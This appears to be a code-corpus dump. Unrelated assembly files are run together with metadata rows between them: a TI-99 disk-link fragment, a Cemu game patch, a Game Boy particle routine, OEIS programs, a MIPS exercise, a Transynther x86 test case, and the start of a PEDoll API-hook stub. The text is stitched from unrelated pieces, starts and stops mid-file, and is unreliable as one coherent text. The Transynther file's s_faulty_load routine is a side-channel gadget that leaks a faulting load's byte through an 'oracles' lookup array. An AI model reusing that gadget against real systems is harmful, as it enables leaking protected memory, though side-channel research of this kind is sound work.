cb *r2,@haa ; check for a valid rom
jne norom ; no rom here
a @dstype,r2 ; go to first pointer
jmp sgo2
sgo mov @83D2h,r2 ; continue where we left off
sbo 0 ; turn rom back on
sgo2 mov *r2,r2 ; is addr a zero (end of link)
jeq norom ; yes, no programs to check
mov r2,@83D2h ; remember where to go next
inct r2 ; go to entry point
mov *r2+,r9 ; get entry addr just in case
movb @8355h,r5 ; get length as counter
jeq namtwo ; if zero, do not check
cb r5,*r2+ ; see if length matches
jne sgo ; no, try next
srl r5,8 ; yes, move to lo byte as counter
li r6,namsto ; point to buffer
namone cb *r6+,*r2+ ; compare buffer with rom
jne sgo ; try next if no match
dec r5 ; loop til full length checked
jne namone
namtwo inc r1 ; next version found
mov r1,@savver ; save version
mov r9,@savent ; save entry addr
mov r12,@savcru ; save cru
bl *r9 ; go run routine
jmp sgo ; error return
sbz 0 ; turn off rom if good return
lwpi dsrlws ; restore workspace
mov r9,r0 ; point to flag in pab
frmdsr mov @sav8a,r1 ; get back data following blwp @dsrlnk
; (8 or >a)
ci r1,8 ; was it 8?
jeq dsrdt8 ; yes, jump: normal dsrlnk
movb @8350h,r1 ; no, we have a data >a. get error byte from
; >8350
jmp dsrdta ; go and return error byte to the caller
dsrdt8 bl @vsbr ; read flag
dsrdta srl r1,13 ; just keep error bits
jne ioerr ; handle error
rtwp
nodsr lwpi dsrlws ; no dsr, restore workspace
lnkerr clr r1 ; clear flag for error 0 = bad device name
ioerr swpb r1 ; put error in hi byte
movb r1,*r13 ; store error flags in callers r0
socb @h20,r15 ; set equal bit to indicate error
rtwp
data8 word 8h ; just to compare. 8 is the data that
; usually follows a blwp @dsrlnk
decmal byte '.' ; for finding end of device name
align 2
h20 word 2000h
;[ restore code to scratch-pad ram
; accessing the disk via the disk DSR destroys some code in scratch pad
; restore the code in scratch pad before returning
;rstsp li r0,toram ; address of 1st source block
; li r1,docol ; destination
;rstsp1 mov *r0+,*r1+ ; copy a cell
; ci r0,__dup
; jne rstsp3
; li r1,_dup
;rstsp3 ci r0,padend ; hit end of first block of code?
; jne rstsp1 ; loop if not
; rt
| 50.461538 | 81 | 0.424695 |
9db2f820a957bd5e54fa3af90eee5178dd4a129d | 197 | asm | Assembly | Mods/Bayonetta2_HighLOD/patch_gameplayTweaks.asm | RedHalted/cemu_graphic_packs | 9d3521b1a288f0aec3a58de0fb9b2599e816ddcf | [
"CC0-1.0"
] | 1 | 2017-12-01T21:06:05.000Z | 2017-12-01T21:06:05.000Z | Mods/Bayonetta2_HighLOD/patch_gameplayTweaks.asm | RedHalted/cemu_graphic_packs | 9d3521b1a288f0aec3a58de0fb9b2599e816ddcf | [
"CC0-1.0"
] | null | null | null | Mods/Bayonetta2_HighLOD/patch_gameplayTweaks.asm | RedHalted/cemu_graphic_packs | 9d3521b1a288f0aec3a58de0fb9b2599e816ddcf | [
"CC0-1.0"
] | null | null | null | [Bayo2USv0_GP]
moduleMatches = 0xAF5D1A85
.origin = codecave
#Value is scalable in v5 - 100 default, 200 twice the high LOD culling distance
0x100AA3A8 = .float 200.0
#0x1014F804 = .float 3.0
| 24.625 | 81 | 0.746193 |
97ece9b90bd3e360e2c9c751a6bd93fc0002a2ec | 3,603 | asm | Assembly | src/objects/smoke.asm | matanui159/celeste-gameboy | 66688fb8508bfaa1712e764a3416db964c51ed59 | [
"MIT"
] | 8 | 2022-03-19T23:48:25.000Z | 2022-03-29T04:37:37.000Z | src/objects/smoke.asm | matanui159/celeste-gameboy | 66688fb8508bfaa1712e764a3416db964c51ed59 | [
"MIT"
] | null | null | null | src/objects/smoke.asm | matanui159/celeste-gameboy | 66688fb8508bfaa1712e764a3416db964c51ed59 | [
"MIT"
] | 1 | 2022-03-20T20:53:25.000Z | 2022-03-20T20:53:25.000Z | include "../hardware.inc"
section "Smoke ROM", rom0
;; Initializes the smoke particle system
SmokeInit::
ld a, low(wObjectsSmoke.end)
ldh [hNextSmoke], a
ret
;; Spawns a new smoke particle
;; @param bc: Position of smoke particle
SmokeSpawn::
; Get some random data
push bc
call Random
pop bc
ld d, a
; Get the next smoke address
ld h, high(wObjectsSmoke)
ldh a, [hNextSmoke]
ld l, a
dec l
; Set random flip flags and palette
ld a, d
and a, OAMF_XFLIP | OAMF_YFLIP
or a, 7
ld [hl-], a
; Set tile
ld a, 29
ld [hl-], a
; Set position
; Use the lowest random bit for X
; We use an offset of -1<=x<=0 with which the random remainder below becomes
; -1<=x<1
ld a, d
and a, $01
dec a
add a, b
ld [hl-], a
; Use the next random bit for Y
ld a, d
rra
and a, $01
dec a
add a, c
ld [hl], a
; Save the L address for the next smoke particle, wrap it with the lowest
; address
ld a, l
or a, a
jr nz, .saveSmoke
ld a, low(wObjectsSmoke.end)
.saveSmoke:
ldh [hNextSmoke], a
; Swap to object data
inc h
; Write X and Y remainders using random data
push hl
call Random
pop hl
ld [hl+], a
push hl
call Random
pop hl
ld [hl+], a
; Setup tile counter
ld a, 5
ld [hl+], a
; Write X speed from even more random data
push hl
call Random
pop hl
; Limit to range 0.3->0.55
and a, $3f
add a, 0.3 >> 8
ld [hl+], a
ret
;; Updates all the smoke particles
SmokeUpdate::
ld hl, wObjectsSmoke.end
.loop:
; Check if the particle is still alive (tild ID != 0)
dec l
dec l
ld a, [hl]
or a, a
jr nz, .update
dec l
dec l
jr nz, .loop
ret
.update:
; Update tile ID using the counter
; INC swaps to the object's data, DEC swaps back
inc h
ld b, [hl]
dec b
jr nz, .counterEnd
; If the counter is 0, increment the tile ID and reset the counter
; We still have the tile ID in register A from above
inc a
; Check if we reach tile 32, destroy the object if we have, skipping the
; rest of the update
cp a, 32
jr nc, .destroy
; Save the new tile
dec h
ld [hl], a
inc h
ld b, 5
.counterEnd:
ld a, b
ld [hl-], a
; Update the X movement, using the random speed
; Load X position
; Save HL into DE for later. We also use it to get the high-byte
ld d, h
ld e, l
; Low byte
ld a, [hl+]
ld c, a
; High byte
dec d
ld a, [de]
ld b, a
; Load random X speed
inc l
ld l, [hl]
ld h, 0
; Add speed, saving into BA
add hl, bc
ld b, h
ld a, l
; Save X position
ld h, d
ld l, e
ld [hl], b
inc h
ld [hl-], a
; Update Y movement using a fixed speed of -0.1 and Y remainder
; Read the Y position and remainder
; Save HL for later
ld d, h
ld e, l
ld c, [hl]
dec h
ld b, [hl]
; Add the speed, store into AC
ld hl, -(0.1 >> 8)
add hl, bc
ld a, h
ld c, l
; Write the new Y and remainder
ld h, d
ld l, e
ld [hl], c
dec h
; We use HL+ so we can DEC below to quickly check L
ld [hl+], a
; Continue the loop
dec l
jr nz, .loop
ret
.destroy:
; Destroy the object and continue the loop
xor a, a
dec h
; Set tile ID to 0
ld [hl-], a
dec l
; Set Y position to 0
ld [hl], a
jr nz, .loop
ret
section "Smoke HRAM", hram
hNextSmoke: db
| 18.863874 | 80 | 0.557591 |
67c5d91bbd3b53cbfb036dbba0924bc9f63a7dd1 | 1,766 | asm | Assembly | programs/oeis/081/A081275.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/081/A081275.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/081/A081275.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A081275: Shallow diagonal of triangular spiral in A051682.
; 1,31,97,199,337,511,721,967,1249,1567,1921,2311,2737,3199,3697,4231,4801,5407,6049,6727,7441,8191,8977,9799,10657,11551,12481,13447,14449,15487,16561,17671,18817,19999,21217,22471,23761,25087,26449,27847,29281,30751,32257,33799,35377,36991,38641,40327,42049,43807,45601,47431,49297,51199,53137,55111,57121,59167,61249,63367,65521,67711,69937,72199,74497,76831,79201,81607,84049,86527,89041,91591,94177,96799,99457,102151,104881,107647,110449,113287,116161,119071,122017,124999,128017,131071,134161,137287,140449,143647,146881,150151,153457,156799,160177,163591,167041,170527,174049,177607,181201,184831,188497,192199,195937,199711,203521,207367,211249,215167,219121,223111,227137,231199,235297,239431,243601,247807,252049,256327,260641,264991,269377,273799,278257,282751,287281,291847,296449,301087,305761,310471,315217,319999,324817,329671,334561,339487,344449,349447,354481,359551,364657,369799,374977,380191,385441,390727,396049,401407,406801,412231,417697,423199,428737,434311,439921,445567,451249,456967,462721,468511,474337,480199,486097,492031,498001,504007,510049,516127,522241,528391,534577,540799,547057,553351,559681,566047,572449,578887,585361,591871,598417,604999,611617,618271,624961,631687,638449,645247,652081,658951,665857,672799,679777,686791,693841,700927,708049,715207,722401,729631,736897,744199,751537,758911,766321,773767,781249,788767,796321,803911,811537,819199,826897,834631,842401,850207,858049,865927,873841,881791,889777,897799,905857,913951,922081,930247,938449,946687,954961,963271,971617,979999,988417,996871,1005361,1013887,1022449,1031047,1039681,1048351,1057057,1065799,1074577,1083391,1092241,1101127,1110049,1119007
mov $1,18
mul $1,$0
add $1,12
mul $1,$0
add $1,1
| 196.222222 | 1,654 | 0.837486 |
d7eeb4b0ac09d6666cf2f92aae17bc66ecc82607 | 1,280 | asm | Assembly | MIPS/LAB 5 - Desvios - Ex 1.asm | EliederSousa/Assembly-Disassembly | 413cadcee7dfc8a72ec86d0d253282cf04e9dd3a | [
"MIT"
] | null | null | null | MIPS/LAB 5 - Desvios - Ex 1.asm | EliederSousa/Assembly-Disassembly | 413cadcee7dfc8a72ec86d0d253282cf04e9dd3a | [
"MIT"
] | null | null | null | MIPS/LAB 5 - Desvios - Ex 1.asm | EliederSousa/Assembly-Disassembly | 413cadcee7dfc8a72ec86d0d253282cf04e9dd3a | [
"MIT"
] | null | null | null | # Inicialização dos exercícios
# Arquitetura de Computadores
.data
a: .word 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
b: .word 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
c: .word 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31
.text
la $s0,a
la $s1,b
la $s2,c
# Adicionando valores imediatos para testar o algoritmo
addi $s3, $zero, 5
addi $s4, $zero, 4
beq $s3, $s4, L2 # if ( x == y ) jmp L2
lw $t0, 4($s0) # $t0 = a[1] ----|
lw $t1, 0($s1) # $t1 = b |--> Carregando os valores
lw $t2, 0($s2) # $t2 = c ----|
sub $t0, $t1, $t2 # a[1] = b - c
sw $t0, 4($s0) # Guardando o valor no endereço a[1]
lw $t3, 8($s0) # $t3 = a[2] --> Carregando o valor
add $t1, $t3, $t2 # b = a[2] + c
sw $t1, 8($s0) # Guardando o valor no endereço a[2]
lw $t4, 12($s2) # $t4 = c[3] --> Carregando o valor
add $t2, $t1, $t4 # c = b + c[3]
sw $t2, 12($s0) # Guardando o valor no endereço c[3]
j DONE
L2:
lw $t0, 16($s0) # $t0 = a[4] ----|
lw $t1, 24($s0) # $t1 = a[6] |--> Carregando os valores
lw $t2, 20($s0) # $t2 = a[5] ----|
add $t0, $t1, $t2 # a[4] = a[6] + a[5]
sw $t0, 16($s0) # Guardando o valor no endereço a[4]
DONE:
| 27.826087 | 93 | 0.514063 |
f948ba64ba5f028ef7d817f684ba8ebcd15e4309 | 1,150 | asm | Assembly | programs/oeis/017/A017041.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/017/A017041.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/017/A017041.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A017041: a(n) = 7*n + 5.
; 5,12,19,26,33,40,47,54,61,68,75,82,89,96,103,110,117,124,131,138,145,152,159,166,173,180,187,194,201,208,215,222,229,236,243,250,257,264,271,278,285,292,299,306,313,320,327,334,341,348,355,362,369,376,383,390,397,404,411,418,425,432,439,446,453,460,467,474,481,488,495,502,509,516,523,530,537,544,551,558,565,572,579,586,593,600,607,614,621,628,635,642,649,656,663,670,677,684,691,698,705,712,719,726,733,740,747,754,761,768,775,782,789,796,803,810,817,824,831,838,845,852,859,866,873,880,887,894,901,908,915,922,929,936,943,950,957,964,971,978,985,992,999,1006,1013,1020,1027,1034,1041,1048,1055,1062,1069,1076,1083,1090,1097,1104,1111,1118,1125,1132,1139,1146,1153,1160,1167,1174,1181,1188,1195,1202,1209,1216,1223,1230,1237,1244,1251,1258,1265,1272,1279,1286,1293,1300,1307,1314,1321,1328,1335,1342,1349,1356,1363,1370,1377,1384,1391,1398,1405,1412,1419,1426,1433,1440,1447,1454,1461,1468,1475,1482,1489,1496,1503,1510,1517,1524,1531,1538,1545,1552,1559,1566,1573,1580,1587,1594,1601,1608,1615,1622,1629,1636,1643,1650,1657,1664,1671,1678,1685,1692,1699,1706,1713,1720,1727,1734,1741,1748
mov $1,$0
mul $1,7
add $1,5
| 164.285714 | 1,093 | 0.755652 |
af129d0393187fe9b61a6134c102c286e90a18a4 | 1,211 | asm | Assembly | programs/oeis/130/A130257.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/130/A130257.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/130/A130257.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A130257: Partial sums of the 'lower' odd Fibonacci Inverse A130255.
; 1,3,5,7,10,13,16,19,22,25,28,31,35,39,43,47,51,55,59,63,67,71,75,79,83,87,91,95,99,103,107,111,115,120,125,130,135,140,145,150,155,160,165,170,175,180,185,190,195,200,205,210,215,220,225,230,235,240,245,250,255,260,265,270,275,280,285,290,295,300,305,310,315,320,325,330,335,340,345,350,355,360,365,370,375,380,385,390,396,402,408,414,420,426,432,438,444,450,456,462,468,474,480,486,492,498,504,510,516,522,528,534,540,546,552,558,564,570,576,582,588,594,600,606,612,618,624,630,636,642,648,654,660,666,672,678,684,690,696,702,708,714,720,726,732,738,744,750,756,762,768,774,780,786,792,798,804,810,816,822,828,834,840,846,852,858,864,870,876,882,888,894,900,906,912,918,924,930,936,942,948,954,960,966,972,978,984,990,996,1002,1008,1014,1020,1026,1032,1038,1044,1050,1056,1062,1068,1074,1080,1086,1092,1098,1104,1110,1116,1122,1128,1134,1140,1146,1152,1158,1164,1170,1176,1182,1188,1194,1200,1206,1212,1218,1224,1230,1236,1242,1248,1254,1261,1268,1275,1282,1289,1296,1303,1310,1317,1324,1331,1338,1345,1352,1359,1366,1373,1380
mov $3,$0
add $3,1
mov $0,$3
lpb $0
add $1,$0
add $0,$1
sub $0,1
add $2,$3
trn $0,$2
add $2,1
lpe
| 80.733333 | 1,029 | 0.729975 |
c878e850c2879dec65c57bd18e0ad132fc003211 | 5,919 | asm | Assembly | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_1874.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_1874.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_1874.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x1ee8a, %r9
cmp $37219, %rax
mov (%r9), %r15w
and $52386, %r14
lea addresses_WT_ht+0x1c8db, %r12
nop
nop
nop
nop
inc %rdi
movb (%r12), %cl
nop
nop
nop
nop
nop
and $1175, %r9
lea addresses_WT_ht+0x45db, %r9
nop
nop
and $3633, %r15
vmovups (%r9), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %r14
inc %rdi
lea addresses_UC_ht+0x421b, %r9
clflush (%r9)
nop
nop
and %rdi, %rdi
mov $0x6162636465666768, %rax
movq %rax, (%r9)
nop
nop
nop
dec %rcx
lea addresses_normal_ht+0x1309b, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
xor $32051, %r14
vmovups (%rcx), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %rax
nop
nop
nop
nop
xor %rax, %rax
lea addresses_normal_ht+0x1d2fb, %r9
nop
nop
cmp %r14, %r14
mov (%r9), %r15w
nop
nop
xor %rcx, %rcx
lea addresses_D_ht+0xf2bb, %rsi
lea addresses_WT_ht+0xde3b, %rdi
nop
nop
nop
nop
and %r12, %r12
mov $3, %rcx
rep movsw
nop
nop
nop
nop
nop
xor $23330, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r8
push %r9
push %rbp
push %rdi
push %rsi
// Store
lea addresses_normal+0x627b, %rdi
nop
xor $59521, %r8
movb $0x51, (%rdi)
nop
nop
and $47831, %r8
// Faulty Load
mov $0x137ec700000008db, %rdi
add $58078, %rbp
movb (%rdi), %r13b
lea oracles, %rbp
and $0xff, %r13
shlq $12, %r13
mov (%rbp,%r13,1), %r13
pop %rsi
pop %rdi
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 39.46 | 2,999 | 0.657206 |
6151cda660878b38b31bb67ce20e6e6c3f33ea31 | 433 | asm | Assembly | oeis/065/A065088.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/065/A065088.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/065/A065088.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A065088: a(n) = A000166(n)*binomial(n,2).
; 0,0,1,6,54,440,3975,38934,415324,4805856,60073245,807651350,11630179506,178681848696,2918470195459,50511984152070,923647710209400,17795612550034304,360361154138194809,7652375096699313126,170052779926651402990,3947014523560698353400
mov $2,$0
bin $0,2
seq $2,166 ; Subfactorial or rencontres numbers, or derangements: number of permutations of n elements with no fixed points.
mul $0,$2
| 54.125 | 233 | 0.812933 |
3eef847bb083eba97098b5dbdcb0812cb3ab8119 | 1,055 | asm | Assembly | tasks/flags/above_below.asm | yds12/x86-roadmap | 3476a1b9c3b479f63b5728a9da049fe297843171 | [
"MIT"
] | 15 | 2020-07-21T10:32:12.000Z | 2022-03-28T05:22:20.000Z | tasks/flags/above_below.asm | yds12/x64-roadmap | 3476a1b9c3b479f63b5728a9da049fe297843171 | [
"MIT"
] | 1 | 2020-05-17T17:49:55.000Z | 2020-05-17T17:49:55.000Z | tasks/flags/above_below.asm | yds12/x86-roadmap | 3476a1b9c3b479f63b5728a9da049fe297843171 | [
"MIT"
] | 4 | 2020-07-21T10:32:23.000Z | 2022-03-28T05:22:23.000Z | ; This program shows the difference between conditions "less" and "below",
; and "greater than" and "above".
global asm_func
section .text
asm_func:
mov al, -1
mov dl, 1
cmp al, dl ; here we compare AL with DL
jl is_less ; and jump if AL is less than DL (if -1 < 1)
mov rax, 0xbaaad
ret ; if not, jump with error code
is_less:
cmp al, dl ; now we compare AL and DL again
jb is_below ; But this time we jump if AL is below DL. The difference
; between less and below is that less considers the numbers to
; be signed, but below considers the numbers to be unsigned.
; As we have seen earlier, negative numbers have 1s as their
; most significant digits, so they are "above" positive numbers,
; when read as unsigned binary numbers (11111111 > 00000001).
cmp al, dl
ja is_above ; now we jump if AL is above DL (it is).
mov rax, 0xbad
ret ; if no jump, return with error
is_above:
mov rax, 0xaee
ret
is_below:
mov rax, 0xbaad
ret
| 28.513514 | 78 | 0.648341 |
97dfce2fd4c049ac9aa60adac446241827091afb | 212 | asm | Assembly | Week_8-9/39 - sar.asm | iamruveyda/KBU-Mikro | f343d1054fcdbc5de48ea9d0da467b5ecaa420b3 | [
"MIT"
] | 1 | 2021-08-10T13:39:26.000Z | 2021-08-10T13:39:26.000Z | Week_8-9/39 - sar.asm | iamruveyda/KBU-Mikro | f343d1054fcdbc5de48ea9d0da467b5ecaa420b3 | [
"MIT"
] | null | null | null | Week_8-9/39 - sar.asm | iamruveyda/KBU-Mikro | f343d1054fcdbc5de48ea9d0da467b5ecaa420b3 | [
"MIT"
] | null | null | null | .model small
.data
.code
main proc
MOV AL,-10 ;AL = -10 = F6H = 1111 0110
SAR AL,1 ;AL is shifted right arithmetic once
;AL = 1111 1011 = FBH = -5
endp
end main | 16.307692 | 57 | 0.514151 |
0a417c93413fd621f4b10876e69f98172e4c2dc2 | 534 | asm | Assembly | programs/oeis/194/A194140.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/194/A194140.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/194/A194140.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A194140: a(n) = Sum_{j=1..n} floor(j*(1+sqrt(3))); n-th partial sum of Beatty sequence for 1+sqrt(3).
; 2,7,15,25,38,54,73,94,118,145,175,207,242,280,320,363,409,458,509,563,620,680,742,807,875,946,1019,1095,1174,1255,1339,1426,1516,1608,1703,1801,1902,2005,2111,2220,2332,2446,2563,2683,2805,2930,3058
lpb $0
mov $2,$0
sub $0,1
seq $2,186540 ; Adjusted joint rank sequence of (f(i)) and (g(j)) with f(i) before g(j) when f(i)=g(j), where f(i)=i^2 and g(j)=-2+3j^2. Complement of A186539.
add $1,$2
lpe
add $1,2
mov $0,$1
| 44.5 | 200 | 0.661049 |
3035dad19acfcfc63a8d08603d000f43e80334d2 | 4,219 | asm | Assembly | libDoll/HookStub_x64.asm | EZForever/PEDoll | 893c853d6bda6614b72077707928ead73e6f78df | [
"MIT"
] | 28 | 2020-02-19T10:55:16.000Z | 2022-01-14T16:55:06.000Z | libDoll/HookStub_x64.asm | EZForever/PEDoll | 893c853d6bda6614b72077707928ead73e6f78df | [
"MIT"
] | null | null | null | libDoll/HookStub_x64.asm | EZForever/PEDoll | 893c853d6bda6614b72077707928ead73e6f78df | [
"MIT"
] | 7 | 2020-05-05T14:33:06.000Z | 2022-01-14T16:55:09.000Z | ; This file is translated from HookStub_x86.asm
; All the comments are identital to the x86 counterpart.
extern DollThreadIsCurrent:byte, DollHookGetCurrent:byte
extern DollOnHook:byte, DollOnAfterHook:byte, DollOnEPHook:byte
public HookStubBefore, HookStubA, HookStubB, HookStubOnDeny, HookStubEP
public HookStubBefore_len, HookStubBefore_HookOEPOffset, HookStubBefore_AddrOffset
public pushad_count
.code
; Machine's word size, in bytes
; Could have used @WordSize (https://docs.microsoft.com/en-us/cpp/assembler/masm/at-wordsize) but it is not supported in x64
WORDSZ equ 8
; Registers saved by the pushall macro, as a macro for usage in assembly code
